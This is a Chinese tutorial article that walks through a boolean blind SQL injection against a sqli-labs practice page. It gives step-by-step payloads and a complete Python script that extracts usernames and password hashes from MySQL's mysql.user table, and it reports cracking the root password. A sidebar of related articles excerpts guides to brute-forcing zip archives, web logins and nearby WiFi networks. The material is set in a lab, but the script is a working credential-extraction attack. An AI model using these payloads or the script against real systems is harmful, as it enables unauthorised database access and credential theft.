Python猜解网站数据库管理员密码的脚本

目录
  • 一、功能分析
  • 二、思路分析
  • 三、步骤实现
    • 1)判断注入点
    • 2)猜解长度
    • 3)猜解数据
    • 4)猜解脚本

一、功能分析

简单分析一下网站的功能,大致如下:

需要用户在地址栏中提交参数,根据参数中的id查询对应的用户信息。

如果id存在,则显示查询成功,比如 输入?id=1

如果id不存在,则页面空显示,比如输入 ?id=0(用户id不能是0或负数,id为0时,查询结果为空,会导致页面空显示)

如果数据库报错,页面也是空显示,比如输入?id=1’ 或 ?id=1"(参数中携带引号会导致数据库报错,前提是后台代码未过滤单引号)

二、思路分析

页面没有显示位,不适合联合注入。

没有数据库的报错信息,不适合使用报错注入。

只有正确和错误两种情况,推荐使用布尔盲注。

网站没有过滤参数,不需要绕过,盲注的时间复杂度较高,文末提供Python脚本。

三、步骤实现

1)判断注入点

输入参数 ?id=1’,页面空显示,说明单引号被数据库识别,导致数据库报错。

输入参数 ?id=1",页面正常显示查询成功,说明双引号未被数据库识别;1" 被数据库识别成了 1,实际查询了id为1的用户。

单引号可以识别,双引号不被识别,初步判断:网站的注入点是单引号,下面使用万能账号进一步验证。

输入 ?id=1’ and 1 – a,页面正常显示,查询成功。

输入 ?id=1’ and 0 – a,页面空显示,未查询到。

人为构造参数可以使页面产生对应的变化,由此判断,网站存在注入,注入点为单引号字符型注入。

2)猜解长度

输入参数 ?id=1’ and length(“abc”)>1 – a,页面正常显示查询成功。

length(“abc”)可以计算出字符串“abc”的长度,长度为3。

length(“abc”)>1 结果为 true,因此,参数等价于 ?id=1’ and 1 – a。

输入参数 ?id=1’ and length(“abc”)<1 – a,页面空显示。

length(“abc”)<1 结果为 false,参数等价于 ?id=1’ and 0 – a。

由此可以推断出,长度函数未被过滤,可以正常使用,接下来我们开始猜解数据库管理员密码的长度。

mysql.user表用来存放数据库的用户名和密码等信息,我们查询这个表即可。

输入以下payload:

?id=1' and length(
    (select group_concat(user,password)
    from mysql.user)
)=1 -- a

我们先假设用户名和密码的总长度为1,结果肯定是空显示,我们将测试长度依次递增,测试2到n,当测试长度递增到42时,页面正常显示,由此可判断用户名和密码的总长度为42,payload如下:

?id=1' and length(
    (select group_concat(user,password)
    from mysql.user)
)=42 -- a

3)猜解数据

长度确定后,我们从第一个字符开始,猜解出完整的数据。

ASCLL码表中包含了字符的所有可能性(字母、数字或特殊符号),ASCLL总共127个字符,其中可输入的字符只有32~126,我们穷举每一种可能性,即可猜解出

完整的数据。

我们先假设第一个字符的ASCLL码是32,payload如下:

?id=1' and ascii(substr(
    (select group_concat(user,password)
    from mysql.user)
,1,1))=32 -- a

页面空显示说明错误,我们从32开始递增至126,当页面正常显示时(出现 You are in……),说明猜解正确。

4)猜解脚本

使用盲注时,手动猜解时间成本太大,推荐使用Python猜解,脚本如下:

import requests

# 只需要修改url 和 两个payload即可
# 目标网址(不带参数)
url = "http://a30842672c28473a956dc5ae3233d655.app.mituan.zone/Less-8"
# 猜解长度使用的payload
payload_len = """?id=1' and length((
                    select group_concat(user,password)
                    from mysql.user
                ))={n} -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' and ascii(substr((
                    select group_concat(user,password)
                    from mysql.user
                ),{n},1))={r} -- a  """

# 获取长度
def getLength(url, payload):
    length = 1  # 初始测试长度为1
    while True:
        response = requests.get(url= url+payload_len.format(n= length))
        # 页面中出现此内容则表示成功
        if 'You are in...........' in response.text:
            print('测试长度完成,长度为:', length)
            return length;
        else:
            print('正在测试长度:',length)
            length += 1  # 测试长度递增

# 获取字符
def getStr(url, payload, length):
    str = ''  # 初始表名/库名为空
    for l in range(1, length+1):
        for n in range(33, 126):
            response = requests.get(url= url+payload_str.format(n= l, r= n))
            if 'You are in...........' in response.text:
                str+= chr(n)
                print('第', l, '个字符猜解成功:', str)
                break;
    return str;

# 开始猜解
getStr(url, payload_str, getLength(url, payload_len))

脚本猜解结果如下,成功猜解root用户密码:

到此这篇关于Python猜解网站数据库管理员密码的脚本的文章就介绍到这了,更多相关Python猜解管理员密码内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!

(0)

相关推荐

  • Python实现暴力破解有密码的zip文件的方法

    背景 今天朋友给我发了一个某游戏的兑换码,压缩文件发过来的.结果被加密了.wc?还说叫爸爸就给我密码?男人是这么容易像恶势力低头的?直接给你爆了好吧,小兔崽子. 一.思路 爆密码的思路其实都大同小异:无非就是字典爆破,就看你是有现成密码字典,还是自己生成密码字典,然后进行循环输入密码,直到输入正确位置.现在很多都有防爆破限制,根本无法进行暴力破解,但是似乎zip这种大家都是用比较简单的密码而且没有什么限制. 因此 实现思路就是 生成字典->输入密码->成功解压 二.实现过程 1.生成字典 生成

  • Python破解网站登录密码脚本

    目录 关键代码解释 完整代码 方法一 运行结果 方法二 运行结果 测试靶机为DVWA,适合DVWA暴力破解模块的Low和Medium等级 关键代码解释 url指定url地址 url = "http://192.168.171.2/dvwa/vulnerabilities/brute/" header设置请求头 header = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Fir

  • python生成遍历暴力破解密码的方法

    python生成遍历暴力破解密码(这里已遍历暴力破解rar为例,只提供生成密码以及遍历密码) 这个也就是提供一个思路,需求是这样的,我XX的闺蜜有个rar的压缩包,不知道他是从哪里挣来的,说这个对他比较重要,但是有密码打不开,唉,可怜了我的电脑了 因为这个是暴力破解,是吧所有的密码进行的遍历,也就是从1到....无穷的列举出来,然后按个密码去撞,撞开了就开了,建议大家买个云服务器进行破解哈,因像这种的第一,不知道密码是几位的,第二还有特殊符号的,唉,破解时间太长了,就用8位密码来说把,全部8位测

  • Python实现破解网站登录密码(带token验证)

    目录 前言 关键代码解释 完整代码 运行结果 补充 前言 上一篇暴力破解文章:一个简单的Python暴力破解网站登录密码脚本 测试靶机为Pikachu漏洞练习平台暴力破解模块下的 “token防爆破?” 春节期间歇了一阵子,吃睡玩看小说.写这个脚本的起因是因为burp设置带token的暴力破解我只会用pitchfork草叉模式,要是用cluster bomb集束炸弹模式笛卡儿积那样就不会了,所以就干脆把之前写的脚本加了点东西实现这个功能了,到时候有空再学学多线程,爆破速度就更快了. 关键代码解释

  • python攻防-破解附近局域网WIFI密码实现上网自由

    目录 无图形界面 WIFI爆破 脚本优化 图形化界面 简单版UI UI升级版 无图形界面 先来看看没有图形界面版的爆破脚本. WIFI爆破 import pywifi from pywifi import const import time import datetime # 测试连接,返回链接结果 def wifiConnect(pwd): # 抓取网卡接口 wifi = pywifi.PyWiFi() # 获取第一个无线网卡 ifaces = wifi.interfaces()[0] # 断

  • 利用Python探测附近WIFI密码的详细代码

    前言 本文将记录学习下如何通过 Python 脚本实现 WIFI 密码的暴力破解,从而实现免费蹭网. 无图形界面 先来看看没有图形界面版的爆破脚本. WIFI爆破 import pywifi from pywifi import const import time import datetime # 测试连接,返回链接结果 def wifiConnect(pwd): # 抓取网卡接口 wifi = pywifi.PyWiFi() # 获取第一个无线网卡 ifaces = wifi.interfa

  • Python猜解网站数据库管理员密码的脚本

    目录 一.功能分析 二.思路分析 三.步骤实现 1)判断注入点 2)猜解长度 3)猜解数据 4)猜解脚本 一.功能分析 简单分析一下网站的功能,大致如下: 需要用户在地址栏中提交参数,根据参数中的id查询对应的用户信息. 如果id存在,则显示查询成功,比如 输入?id=1 如果id不存在,则页面空显示,比如输入 ?id=0(用户id不能是0或负数,id为0时,查询结果为空,会导致页面空显示) 如果数据库报错,页面也是空显示,比如输入?id=1’ 或 ?id=1"(参数中携带引号会导致数据库报错,

  • 利用python批量检查网站的可用性

    前言 随着站点的增多,管理复杂性也上来了,俗话说:人多了不好带,我发现站点多了也不好管,因为这些站点里有重要的也有不重要的,重要核心的站点当然就管理的多一些,像一些万年都不出一次问题的,慢慢就被自己都淡忘了,冷不丁那天出个问题,还的手忙脚乱的去紧急处理,所以规范的去管理这些站点是很有必要的,今天我们就做第一步,不管大站小站,先统一把监控做起来,先不说业务情况,最起码那个站点不能访问了,要第一时间报出来,别等着业务方给你反馈,就显得我们不够专业了,那接下来我们看看如果用python实现多网站的可用

  • Oracle 数据库忘记sys与system管理员密码重置操作方法

    首先打开cmd 执行 orapwd file=C:\app\PWDorcl.ora password=orclorcl C:\app\PWDorcl.ora是你要存放的路径文件 Password=orclorcl是你要改的密码 然后回车,在该路径下就会生成一个文件.把这文件替换你本机oracl的密码文件.Sys和system密码就会改成你要重新设置的密码 例如我的本机路径是C:\app\product\11.2.0\dbhome_1\database 以上所述是小编给大家介绍的Oracle 数据

  • 数据库账号密码加密详解及实例

    数据库账号密码加密详解及实例 数据库中经常有对数据库账号密码的加密,但是碰到一个问题,在使用UserService对密码进行加密的时候,spring security 也是需要进行同步配置的,因为spring security 中验证的加密方式是单独配置的.如下: <authentication-manager> <authentication-provider user-service-ref="userDetailService"> <password

  • Python使用pyodbc访问数据库操作方法详解

    本文实例讲述了Python使用pyodbc访问数据库操作方法. 数据库连接 数据库连接网上大致有两种方法,一种是使用pyodbc,另一种是使用win32com.client,测试了很多遍,最终只有pyodbc成功,而且比较好用,所以这里只介绍这种方法 工具库安装 在此基础上安装pyodbc工具库,在cmd窗口执行如下语句安装 pip install pyodbc 如果安装了anaconda也可以使用conda install pyodbc 分享给大家供大家参考,具体如下: 检验是否可以正常连接数

  • Python实现连接MySql数据库及增删改查操作详解

    本文实例讲述了Python实现连接MySql数据库及增删改查操作.分享给大家供大家参考,具体如下: 在本文中介绍 Python3 使用PyMySQL连接数据库,并实现简单的增删改查.(注意是python3) 1.安装PyMySQL PyMySQL 是在 Python3.x 版本中用于连接 MySQL 服务器的一个库,Python2中则使用mysqldb.PyMySQL 遵循 Python 数据库 API v2.0 规范,并包含了 pure-Python MySQL 客户端库.在使用 PyMySQ

  • 对python 通过ssh访问数据库的实例详解

    通常,为了安全性,数据库只允许通过ssh来访问.例如:mysql数据库放在服务器A上,只允许数据库B来访问,这时,我们需要用机器C去访问数据库,就需要用C通过ssh连接B,再访问A. 通过pymysql连接mysql: import pymysql from sshtunnel import SSHTunnelForwarder with SSHTunnelForwarder( (sshServerB_ip, sshServerB_port), # B机器的配置 ssh_password=ssh

  • Python猜数字算法题详解

    今天刷的第一道算法题,先拿一道简单点的试试手,这道题目的要求是: 两个人甲乙在猜数字,甲先从1,2,3三个数字中随机抽3次,结果是guess.乙随后也随机抽三次,结果是answer.然后对比甲乙两个人的结果.示例如下: guess:[1,2,3], answer: [1, 2, 3] 那么结果就是猜对了3次 guess: [1,2,3] answer:[3,2,1] 那么结果就是猜对了1次 guess: [1,2,3], answer:[3, 3,1] 那么结果就是猜对了0次 即将guess和a

  • 详解使用Python写一个向数据库填充数据的小工具(推荐)

    一. 背景 公司又要做一个新项目,是一个合作型项目,我们公司出web展示服务,合作伙伴线下提供展示数据. 而且本次项目是数据统计展示为主要功能,并没有研发对应的数据接入接口,所有展示数据源均来自数据库查询, 所以验证数据没有别的入口,只能通过在数据库写入数据来进行验证. 二. 工具 Python+mysql 三.前期准备 前置:当然是要先准备好测试方案和测试用例,在准备好这些后才能目标明确将要开发自动化小工具都要有哪些功能,避免走弯路 3.1 跟开发沟通 1)确认数据库连接方式,库名 : 2)测

  • 用python批量解压带密码的压缩包

    项目地址: https://github.com/Mario-Hero/toolUnRar 环境需求 Windows系统 Python 3 对于解压RAR文件,需要安装WinRAR 对于解压7z/zip等其他7-Zip支持解压的文件,需要安装7-Zip 用法 Usage 直接拖入文件夹或压缩文件即可批量解压缩包含密码的压缩文件.如果拖入的是文件夹,则会把该文件夹下的压缩文件解压缩,但不进入下一级目录.通过设置PASSWD来设置字典,通过设置DELETEIT来设置解压后是否删除被成功解压的压缩文件

随机推荐